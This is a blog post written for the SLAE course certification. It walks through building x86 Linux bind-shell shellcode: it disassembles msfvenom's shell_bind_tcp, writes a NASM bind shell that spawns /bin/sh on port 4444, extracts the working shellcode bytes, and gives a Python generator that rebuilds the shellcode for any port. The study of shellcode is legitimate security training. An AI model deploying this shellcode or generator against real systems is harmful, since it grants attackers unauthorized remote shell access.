SecurityTube Linux Assembly Expert (SLAE) Assignment Writeups — \x01 Bind Shell Shellcode
Hey! Thanks for stopping by. First time blog poster here and I’ll be going through some shellcoding assignment questions for the SecurityTube Linux Assembly Expert (SLAE) course which is run by Vivek Ramachandran on Pentester Academy.
For a noob at assembly like me it was an awesome course! I got a much better idea of how computers work, learnt how to write simple programs in 32-bit assembly language for the Intel Architecture, and how to make my own shellcode.
I initially took the course because I heard it was a good introduction into exploitation development which could help me with the Offensive Security Certified Expert (OSCE) certification. Having done my OSCP, a bunch of web app, mobile app, and infrastructure penetration testing on the job I felt like I really needed to take that next step and improve my own exploit writing skills.
Anyway.. I hope to make these writeups simple enough that you can follow along even if you are not familiar with x86 intel assembly (assembly throughout) and hopefully you can pick up the basics.
Lets get into it!
This task is all about writing our own shellcode for a bind shell. Ugh well how do I do that? The first thing I thought was “let’s start with an strace on netcat” and look at what system calls (syscalls) it uses.
$ strace nc -nlvp 4444...snip...socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_REUSEPORT, [1], 4) = 0
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1) = 0
write(2, "Listening on [0.0.0.0] (family 0"..., 45Listening on [0.0.0.0] (family 0, port 4444)
) = 45
accept4(3, {sa_family=AF_INET, sin_port=htons(45880), sin_addr=inet_addr("127.0.0.1")}, [128->16], SOCK_NONBLOCK) = 4...snip...
Cool. So we can see that there are a few syscalls happening which will probably be important to use. That is socket bind listen and accept4. This looks like we could go ahead and tackle at least opening a bind port with some assembly code. But we need a shell to run upon that connection. Hmm…
There are so many ways you could do this but I decided to use msfvenom to just create shellcode for a linux/x86/shell_bind_tcp payload. Then I would use gdb to see what was happening under the hood.
$ msfvenom -p linux/x86/shell_bind_tcp -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 78 bytes
Final size of c file: 354 bytes
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";I copied the output shellcode into the following C program which essentially prints the length of the shellcode before running the shellcode.
$ cat shellcode.c
#include<stdio.h>
#include<string.h>unsigned char code[] = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";main()
{printf("Shellcode Length: %d\n", strlen(code));int (*ret)() = (int(*)())code;ret();}
Let’s compile this and run it inside gdb.
$ gcc -fno-stack-protector -z execstack -m32 -o shellcode shellcode.c
$ gdb ./shellcode
(gdb) break main
(gdb) run
(gdb) disassemble
Dump of assembler code for function main:
0x5655554d <+0>: lea ecx,[esp+0x4]
0x56555551 <+4>: and esp,0xfffffff0
0x56555554 <+7>: push DWORD PTR [ecx-0x4]
0x56555557 <+10>: push ebp
0x56555558 <+11>: mov ebp,esp
0x5655555a <+13>: push ebx
0x5655555b <+14>: push ecx
=> 0x5655555c <+15>: sub esp,0x10
0x5655555f <+18>: call 0x56555450 <__x86.get_pc_thunk.bx>
0x56555564 <+23>: add ebx,0x1a70
0x5655556a <+29>: sub esp,0xc
0x5655556d <+32>: lea eax,[ebx+0x4c]
0x56555573 <+38>: push eax
0x56555574 <+39>: call 0x565553e0 <strlen@plt>
0x56555579 <+44>: add esp,0x10
0x5655557c <+47>: sub esp,0x8
0x5655557f <+50>: push eax
0x56555580 <+51>: lea eax,[ebx-0x19a4]
0x56555586 <+57>: push eax
0x56555587 <+58>: call 0x565553d0 <printf@plt>
0x5655558c <+63>: add esp,0x10
0x5655558f <+66>: lea eax,[ebx+0x4c]
0x56555595 <+72>: mov DWORD PTR [ebp-0xc],eax
0x56555598 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x5655559b <+78>: call eax
0x5655559d <+80>: mov eax,0x0
0x565555a2 <+85>: lea esp,[ebp-0x8]
0x565555a5 <+88>: pop ecx
0x565555a6 <+89>: pop ebx
0x565555a7 <+90>: pop ebp
0x565555a8 <+91>: lea esp,[ecx-0x4]
0x565555ab <+94>: ret
End of assembler dump.At the moment we can’t see our shellcode. That’s because it hasn’t been called yet. A really easy way to break at the start of our shellcode in this instance is to set a breakpoint at our code variable by doing the following:
(gdb) info variables
...snip...
0x56557020 code
...snip...
(gdb) break *0x56557020And if you want to be sure that code does in fact point to our shellcode then confirm this by running:
(gdb) x/20x 0x56557020
0x56557020 <code>: 0xe3f7db31 0x6a534353 0xb0e18902 0x5b80cd66
0x56557030 <code+16>: 0x0268525e 0x6a5c1100 0x89505110 0x58666ae1
0x56557040 <code+32>: 0x418980cd 0xb004b304 0x4380cd66 0x80cd66b0
0x56557050 <code+48>: 0x3f6a5993 0x4980cd58 0x2f68f879 0x6868732f
0x56557060 <code+64>: 0x6e69622f 0x5350e389 0x0bb0e189 0x000080cdGreat, looks like it’s all there. Running the program again, let’s disassemble at our new breakpoint and see what we find.
Breakpoint 1, 0x5655555c in main ()
(gdb) c
Continuing.
Shellcode Length: 20Breakpoint 2, 0x56557020 in code ()
(gdb) disassemble
Dump of assembler code for function code:
=> 0x56557020 <+0>: xor ebx,ebx
0x56557022 <+2>: mul ebx
0x56557024 <+4>: push ebx
0x56557025 <+5>: inc ebx
0x56557026 <+6>: push ebx
0x56557027 <+7>: push 0x2
0x56557029 <+9>: mov ecx,esp
0x5655702b <+11>: mov al,0x66
0x5655702d <+13>: int 0x80
0x5655702f <+15>: pop ebx
0x56557030 <+16>: pop esi
0x56557031 <+17>: push edx
0x56557032 <+18>: push 0x5c110002
0x56557037 <+23>: push 0x10
0x56557039 <+25>: push ecx
0x5655703a <+26>: push eax
0x5655703b <+27>: mov ecx,esp
0x5655703d <+29>: push 0x66
0x5655703f <+31>: pop eax
0x56557040 <+32>: int 0x80
0x56557042 <+34>: mov DWORD PTR [ecx+0x4],eax
0x56557045 <+37>: mov bl,0x4
0x56557047 <+39>: mov al,0x66
0x56557049 <+41>: int 0x80
0x5655704b <+43>: inc ebx
0x5655704c <+44>: mov al,0x66
0x5655704e <+46>: int 0x80
0x56557050 <+48>: xchg ebx,eax
0x56557051 <+49>: pop ecx
0x56557052 <+50>: push 0x3f
0x56557054 <+52>: pop eax
0x56557055 <+53>: int 0x80
0x56557057 <+55>: dec ecx
0x56557058 <+56>: jns 0x56557052 <code+50>
0x5655705a <+58>: push 0x68732f2f
0x5655705f <+63>: push 0x6e69622f
0x56557064 <+68>: mov ebx,esp
0x56557066 <+70>: push eax
0x56557067 <+71>: push ebx
0x56557068 <+72>: mov ecx,esp
0x5655706a <+74>: mov al,0xb
0x5655706c <+76>: int 0x80
0x5655706e <+78>: add BYTE PTR [eax],al
End of assembler dump.
Examining the first syscall
Now if you have never looked at assembly before let’s break this up a bit.. Essentially we are very interested in the syscalls. Remember socket bind listen accept? Well, these are examples of syscalls, and syscalls happen when a kernel interrupt or int 0x80 instruction is executed by the CPU. If you look at the above output you will notice int 0x80 appears several times. You might ask — aren’t they all the same? How does the CPU distinguish which syscall exactly needs to be run?
This all depends on what values are stored in the registers (eax, ebx, etc…) before the syscall occurs. Let’s determine the values in the registers before the first syscall happens. If we just focus on the first chunk this will become clear pretty quickly.
Breakpoint 2, 0x56557020 in code ()
(gdb) disassemble
Dump of assembler code for function code:
=> 0x56557020 <+0>: xor ebx,ebx
0x56557022 <+2>: mul ebx
0x56557024 <+4>: push ebx
0x56557025 <+5>: inc ebx
0x56557026 <+6>: push ebx
0x56557027 <+7>: push 0x2
0x56557029 <+9>: mov ecx,esp
0x5655702b <+11>: mov al,0x66
0x5655702d <+13>: int 0x80The shellcode starts by XORing the ebx register with itself which makes it zero. The MUL command essentially takes a source register (in this case it is ebx) and multiplies it with the destinaton register (implicitly this is eax). Further, because two 32-bit values are being multiplied, the result could be larger than a 32-bit value and therefore the result is returned in two pairs which get stored in eax and edx. This stackoverflow answer goes into more detail on the MUL command if you’re interested https://stackoverflow.com/questions/40893026/mul-function-in-assembly.
So, right now eax = 0, ebx = 0, and edx = 0. Ebx is pushed onto the stack next, and then ebx is incremented. Ebx is pushed again and then the value 0x2 is pushed onto the stack. Therefore, really only two things have changed which is ebx = 1 and the stack looks like this:
0xffffd040: 0x00000002 0x00000001 0x00000000Next we move esp into ecx which means that ecx now contains the address which points to the top of our stack i.e. 0xffffd040. Lastly, we move the hex value 0x66 (decimal 102) into the eax register.
We now have eax = 102, ebx = 1, ecx = 0xffffd040, and edx = 0. The value 102 actually refers to the syscall number which should be executed. This value is always stored in eax. These syscall values can be found in unistd_32.h.
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h...snip...
#define __NR_socketcall 102
...snip...
Looks like we are making a syscall to socketcall. Better check the man page for it. The man page shows that socketcall takes the following arguments:
int socketcall(int call, unsigned long *args);The ‘call’ integers are defined in /usr/include/linux/net.h and reading this file shows that the value 1 (because ebx = 1) refers to the SYS_SOCKET call. Under the hood this just uses the socket syscall and by referring to the socket man page we would find out that it takes three arguments:
int socket(int domain, int type, int protocol);Each of the integers for domain, type, and protocol can be found in the files /usr/include/x86_64-linux-gnu/bits/socket.h, /usr/src/linux-headers-<version>/include/linux/net.h, and /usr/include/netinet/in.h respectively. In our case ecx points to the stack which contains the values (2, 1, 0) and this really means we are runningint socket(AF_INET, SOCK_STREAM, IPPROTO_IP) which is awesome because that’s exactly what we saw in the strace output earlier! Because socketcall only takes two arguments (ebx, ecx) we do not need to worry about edx.
Everything is ready now, when we execute int 0x80 it will call socketcall with the arguments in ebx and ecx which essentially creates our socket/endpoint!
What other syscalls are used in the linux/x86/shell_bind_tcp shellcode?
This is the crux of what we want to know. Then we can go and implement these syscalls in our own assembly code, in our own cool way. I’m not going to break down the following chunks like with the socket call above. Simply, I will just identify what syscalls are being executed and will keep in mind what values are being passed as the arguments.
Second chunk:
0x5655702f <+15>: pop ebx
0x56557030 <+16>: pop esi
0x56557031 <+17>: push edx
0x56557032 <+18>: push 0x5c110002
0x56557037 <+23>: push 0x10
0x56557039 <+25>: push ecx
0x5655703a <+26>: push eax
0x5655703b <+27>: mov ecx,esp
0x5655703d <+29>: push 0x66
0x5655703f <+31>: pop eax
0x56557040 <+32>: int 0x80Eax still has the value 0x66 for socketcall. This time though ebx contains the value 2 which means SYS_BIND is being used. SYS_BIND uses the bind syscall which can be confirmed reading the socketcall man page.
Third chunk:
0x56557042 <+34>: mov DWORD PTR [ecx+0x4],eax
0x56557045 <+37>: mov bl,0x4
0x56557047 <+39>: mov al,0x66
0x56557049 <+41>: int 0x80Eax = 0x66, ebx = 0x4 i.e. SYS_LISTEN which uses the listen syscall.
Fourth chunk:
0x5655704b <+43>: inc ebx
0x5655704c <+44>: mov al,0x66
0x5655704e <+46>: int 0x80Eax = 0x66, and due to increment ebx command now ebx = 0x5 i.e. SYS_ACCEPT which uses the accept syscall.
Fifth chunk:
0x56557050 <+48>: xchg ebx,eax
0x56557051 <+49>: pop ecx
0x56557052 <+50>: push 0x3f
0x56557054 <+52>: pop eax
0x56557055 <+53>: int 0x80Nice, we have now got eax = 0x3f (63 in decimal) which is the dup2 syscall. This will be used to duplicate the file descriptor returned from the result of the accept syscall. We will come back to this later when we write our own bind shell shellcode.
Sixth chunk:
0x56557057 <+55>: dec ecx
0x56557058 <+56>: jns 0x56557052 <code+50>
0x5655705a <+58>: push 0x68732f2f
0x5655705f <+63>: push 0x6e69622f
0x56557064 <+68>: mov ebx,esp
0x56557066 <+70>: push eax
0x56557067 <+71>: push ebx
0x56557068 <+72>: mov ecx,esp
0x5655706a <+74>: mov al,0xb
0x5655706c <+76>: int 0x80The first two lines here show that ecx is being decremented and a jns instruction is being used to cause a loop so that the dup2 syscall in the fifth chunk is executed three times (for creating stdin, stdout, and stderr file descriptors).
Further down we see that the value 0xb is moved into eax before the int 0x80 instruction. 0xb is 11 in decimal and referring to our very handy unistd_32.h file we can see that this is running execve.
Making our own shellcode
This is where the fun really begins. We have successfully worked out how the metasploit / msfvenom linux x86 shell_bind_tcp shellcode works. In order, it used the following syscalls:
socketbindlistenaccceptdup2execve
Great! This will act as our guide for creating our own shellcode! The main steps I’ll take to write this in assembly mostly be along the lines of:
- Read unistd_32.h and determine the syscall value
- Put the syscall value in eax
- Read the man page of the syscall to see what arguments it takes
- Depending on the number of arguments put these values into the correct registers. E.g. if there are three arguments I’ll put the values in ebx, ecx, and edx before calling the
int 0x80instruction.
Socket
I examined this syscall in a fair bit of detail earlier on so I’ll be a little more brief here than with the other syscalls. However, I’m going to do this a bit differently than the metasploit shellcode. I’m going to just use socket directly (0x167) instead of using socketcall.
We already determined that socket takes three arguments: int socket(int domain, int type, int protocol) and that these values should be 2, 1, and 0 respectively. Let’s implement this with the following code.
xor eax, eax ; zero out and prevent nulls in our shellcode later
mov ax, 0x167 ; socket syscall
xor ebx, ebx ; zero out other registers
xor ecx, ecx
xor edx, edxmov bl, 0x2 ; 2 is for AF_INET / PF_INET protocol family
mov cl, 0x1 ; 1 is for SOCK_STREAM type
; edx is already 0int 0x80 ; call socket(2,1,0)
Note that socket returns a file descriptor and this will be placed in the eax register. We will need this value to continue working with this endpoint in the rest of the program.
Bind
The man page for bind(0x169) shows that bind takes three arguments as follows:
int bind(int sockfd, const struct sockaddr *addr,
socklen_t addrlen);The first argument requires the int value for sockfd which is what is currently in eax, i.e. the return value from the socket function. The second argument is a pointer to the socket address structure i.e. *addr. The sockaddr structure requires 16 bytes which includes the protocol family (AF_INET), the port to listen on (e.g. 4444), the INADDR (e.g. 0.0.0.0 to listen on all interfaces) as well as 8 bytes of padding. Therefore *addr should point to something like:
0x5c110002 0x00000000 0x00000000 0x00000000The third argument is just the length in bytes of the address structure pointed to by *addr (i.e. 16 bytes). However, we will calculate this using the stack and base pointer rather than hardcoding 16 bytes. Putting this all together we have:
mov ebx, eax ; move socket fd result into ebxxor eax, eax
mov ax, 0x169 ; bind syscallmov ebp, esp ; set start of stack frame
push edx ; push 4 bytes of padding
push edx ; push another 4 bytes of padding
push edx ; INADDR set to 0.0.0.0
push word 0x5c11 ; port 4444 in reverse hex because little endian
push word 0x2 ; 2 is the value for AF_INET
mov ecx, esp ; ecx now points to address structuresub ebp, esp ; store sockaddr size in ebp
mov edx, ebp ; move struct size into edxint 0x80 ; call bind syscall
Listen
The man page for listen (0x16b) shows it takes two arguments as follows:
int listen(int sockfd, int backlog);This one is super easy, lets just xor eax with itself and put in 0x16b. Ebx already contains the sockfd value and backlog just refers to the max number of pending connections you want. We just need one connection.
xor eax, eax
mov ax, 0x16b ; listen syscall
; ebx still contains socket fd
xor ecx, ecx
mov cl, 0x1 ; backlog equals one for max one connectionint 0x80 ; call listen syscall
Accept
The actual syscall we will be using here is called accept4 (0x16c) but it will do the exact same thing as accept and it takes the following arguments:
int accept4(int sockfd, struct sockaddr *addr,
socklen_t *addrlen, int flags);If we set int flags to zero then accept4 has the same functionality as accept according to the man page. We already know sockfd and *addr. Really the only thing we need to do here is push the addrlen onto the stack (i.e.0x00000010)and create a new pointer to it called *addrlen for the third argument.
xor eax, eax
mov ax, 0x16c ; accept4 syscall
; ebx still contains socket fd
mov ecx, esp ; ecx points to sockaddr
push edx ; push struct size onto stack
mov edx, esp ; edx now points to addrlen
xor esi, esi ; set int flags parameter to 0int 0x80 ; accept4 syscall
After the accept4 function runs it will return a new file descriptor for the connected socket. This new file descriptor will be stored in eax.
Dup2
Here we need to duplicate the connected socket three times so we can redirect stdin, stdout, and stderr. dup2 (0x3f) takes the following arguments:
int dup2(int oldfd, int newfd);Where oldfd refers to the connected socket returned from accept4 and newfd will refer to either stdin (0), stdout (1), or stderr (2).
mov ebx, eax ; mov connected socket fd into ebx
xor ecx, ecx
mov cl, 0x3 ; we will loop 3 times (2, 1, and 0)_dupfds: ; create 3 new fds for stdin,stdout,stderr xor eax, eax
mov al, 0x3f ; dup2 syscall value
dec ecx int 0x80 ; execute dup2
jnz _dupfds ; loop until ecx = 0
The JNZ instruction will not jump back to the start of _dupfds when the loop has occurred three times. This is because the third time round will decrement ecx to zero, which will set the zero flag. When the zero flag is set, JNZ will not jump back to _dupfds.
Execve
Last one. We just need to get execve (0xb) to run /bin/sh and our wondrous bind shell program will be complete and we can harvest the shellcode from it. Referring to the man page, execve takes the following arguments:
int execve(const char *filename, char *const argv[],
char *const envp[]);The *filename pointer should point to a null terminated string of the program we want to execute i.e. /bin/sh. The second argument, argv, is an array of const pointers which should point to the filename, and then point to any arguments to pass to that filename/binary. Because we don’t need to pass any arguments to /bin/sh when we call it, we just need to pass two constant pointers, one to the filename, and the second to nulls. The envp argument is an array of const pointers again which should point to strings of the form key=value and we do not need to use this so this can be nulls too.
_execve: xor eax, eax ; reset registers to zero
xor ebx, ebx
xor ecx, ecx
xor edx, edx mov al, 0xb ; execve syscall push ebx ; put nulls on stack
push dword 0x68732f2f
push dword 0x6e69622f ; push /bin//sh onto the stack
mov ebx, esp ; ebx points to filename push edx ; put nulls on the stack
mov edx, esp ; pointer to envp array (null) push ebx
mov ecx, esp ; pointer to argv array int 0x80 ; syscall to execve
Bringing it all together
Putting all of our chunks together we have:
; Purpose: Open a bind port on the local computer
; Filename: bind.nasmglobal _startsection .text_start:
xor eax, eax ; zero out and prevent nulls in shellcode
mov ax, 0x167 ; socket syscall
xor ebx, ebx ; zero out other registers
xor ecx, ecx
xor edx, edx mov bl, 0x2 ; 2 is for AF_INET / PF_INET protocol family
mov cl, 0x1 ; 1 is for SOCK_STREAM type
; edx is already 0 int 0x80 ; call socket(2,1,0)
mov ebx, eax ; move socket fd result into ebx
xor eax, eax
mov ax, 0x169 ; bind syscall mov ebp, esp ; set start of stack frame
push edx ; push 4 bytes of padding
push edx ; push another 4 bytes of padding
push edx ; INADDR set to 0.0.0.0
push word 0x5c11 ; port 4444 in reverse hex (little endian)
push word 0x2 ; 2 is the value for AF_INET
mov ecx, esp ; ecx now points to address structure sub ebp, esp ; store sockaddr size in ebp
mov edx, ebp ; move struct size into edx int 0x80 ; call bind syscall
xor eax, eax
mov ax, 0x16b ; listen syscall
; ebx still contains socket fd
xor ecx, ecx
mov cl, 0x1 ; backlog equals one for max one connection int 0x80 ; call listen syscall
xor eax, eax
mov ax, 0x16c ; accept4 syscall
; ebx still contains socket fd
mov ecx, esp ; ecx points to sockaddr
push edx ; push struct size onto stack
mov edx, esp ; edx now points to addrlen
xor esi, esi ; set int flags parameter to 0 int 0x80 ; accept4 syscall
mov ebx, eax ; mov connected socket fd into ebx
xor ecx, ecx
mov cl, 0x3 ; we will loop 3 times (2, 1, and 0)_dupfds: ; create 3 new fds for stdin,stdout,stderr xor eax, eax
mov al, 0x3f ; dup2 syscall value
dec ecx int 0x80 ; execute dup2
jnz _dupfds ; loop until ecx = 0_execve: xor eax, eax ; reset registers to zero
xor ebx, ebx
xor ecx, ecx
xor edx, edx mov al, 0xb ; execve syscall
push ebx ; put nulls on stack
push dword 0x68732f2f
push dword 0x6e69622f ; push /bin//sh onto the stack
mov ebx, esp ; ebx points to filename push edx ; put nulls on the stack
mov edx, esp ; pointer to envp array (null) push ebx
mov ecx, esp ; pointer to argv array int 0x80 ; syscall to execve
Let’s just make sure it works. I’ve put my code in a file called bind.nasm. I’m also using an x86_64 system so I’ve added the -m EMULATION option using elf_i386.
$ nasm -f elf32 -o bind.o bind.nasm
$ ld -o bind bind.o -m elf_i386
$ ./bindIn another terminal I’ll connect using netcat.
$ nc -nv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
whoami
whippyAwesome!! Looks like it’s working.
Extracting the shellcode
The time we have all been waiting for, let’s get that shellcode! We can simply run objdump with the -d (disassemble) option to see the opcodes which will be our shellcode.
$ objdump -d bindA neat script found at https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump will help us copy out all the opcodes into the right format for our shellcode so we can test it out.
$ objdump -d bind |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'"\x31\xc0\x66\xb8\x67\x01\x31\xdb\x31\xc9\x31\xd2\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x66\xb8\x69\x01\x89\xe5\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x29\xe5\x89\xea\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x31\xc9\xb1\x01\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xe1\x52\x89\xe2\x31\xf6\xcd\x80\x89\xc3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x75\xf7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"
Testing the shellcode
Remember at the top of this post when we copied the metasploit version into that C program and tested it out? Yep you got it, let’s just do the same but with our shellcode.
#include<stdio.h>
#include<string.h>unsigned char code[] = \
"\x31\xc0\x66\xb8\x67\x01\x31\xdb\x31\xc9\x31\xd2\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x66\xb8\x69\x01\x89\xe5\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x29\xe5\x89\xea\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x31\xc9\xb1\x01\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xe1\x52\x89\xe2\x31\xf6\xcd\x80\x89\xc3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x75\xf7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
main()
{printf("Shellcode Length: %d\n", strlen(code));int (*ret)() = (int(*)())code;ret();}
Compiling and running this C program indeed generates the same bind shell.
$ gcc -fno-stack-protector -z execstack -m32 -o shellcode shellcode.c
$ ./shellcode
Shellcode Length: 119Similarly to when we ran ./bind from bind.nasm, if we open netcat in another terminal we can now connect to the bind shell on localhost on port 4444 the same as before.
Configuring the bind port easily
If you were just interested in the shellcode then that part is done, phew! But the very last thing the course requires is that we make the bind port easily configurable.
We used port 4444 which in hex is 0x115c. Due to the little endian architecture we pushed this value onto the stack in reverse order as 0x5c11. Hmm, really all we need to do is change that one part and the rest of our code can stay the same. Let’s just write a simple python script which will take the port number we want to use as an argument, then it will modify just this hex value and give us our new shellcode. I.e. the bolded part below.
"\x31\xc0\x66\xb8\x67\x01\x31\xdb\x31\xc9\x31\xd2\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x66\xb8\x69\x01\x89\xe5\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x29\xe5\x89\xea\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x31\xc9\xb1\x01\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xe1\x52\x89\xe2\x31\xf6\xcd\x80\x89\xc3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x75\xf7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"In the following python script I modified the objdump script from earlier and worked with the shellcode without the “\x”s. I just broke the shellcode into two parts, inserted the new port number, stitched it all back, and then added the “\x”s. Note: be careful when choosing the port to use that it will not add any nulls (\x00) to the shellcode.
#!/usr/bin/python
# filename: import sys
try: if 1 <= int(sys.argv[1]) <= 65535: shellcode_partone = "31c066b8670131db31c931d2b302b101cd8089c331c066b8690189e55252526668" port = "{0:#0{1}x}".format(int(sys.argv[1]),6) #e.g 4444 will be turned into '0x115c' or 12 to '0x000c' port_first_half = port[2:4] # e.g. 4444 -> '11'
port_second_half = port[4:6] # e.g. 4444 -> '5c' if port_first_half == "00" or port_second_half == "00":
print "WARNING: Nulls in shellcode, use different port" shellcode_parttwo = "666a0289e129e589eacd8031c066b86b0131c9b101cd8031c066b86c0189e15289e231f6cd8089c331c9b10331c0b03f49cd8075f731c031db31c931d2b00b53682f2f7368682f62696e89e35289e25389e1cd80" shellcode = shellcode_partone + port_first_half + port_second_half + shellcode_parttwo xformat_shellcode = "\\x" + "\\x".join(shellcode[n:n+2] for n in range(0, len(shellcode), 2)) print "Bind shellcode for port " + sys.argv[1] + ': \r\n' + xformat_shellcode else: print "Invalid port number, try again"except: print "Something went wrong, try again"
Running this to use port 12345 (0x3039) would look like below:
$ ./bind-generator.py 12345
Bind shellcode for port 12345:
\x31\xc0\x66\xb8\x67\x01\x31\xdb\x31\xc9\x31\xd2\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x66\xb8\x69\x01\x89\xe5\x52\x52\x52\x66\x68\x30\x39\x66\x6a\x02\x89\xe1\x29\xe5\x89\xea\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x31\xc9\xb1\x01\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xe1\x52\x89\xe2\x31\xf6\xcd\x80\x89\xc3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x75\xf7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80If we plugged this shellcode into our C program to test the shellcode we would find that it works just as before except the bind shell will be listening on port 12345.
Wrap up
Apologies for the long post but I hope you learned something and thanks for reading the whole way through if you got this far! Next, I’ll go through a similar exercise but for a reverse shell.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytybe-linux-assembly-expert/
Student ID: SLAE-1286
Code samples can be found at https://github.com/ryuke-acker/slae-writeups
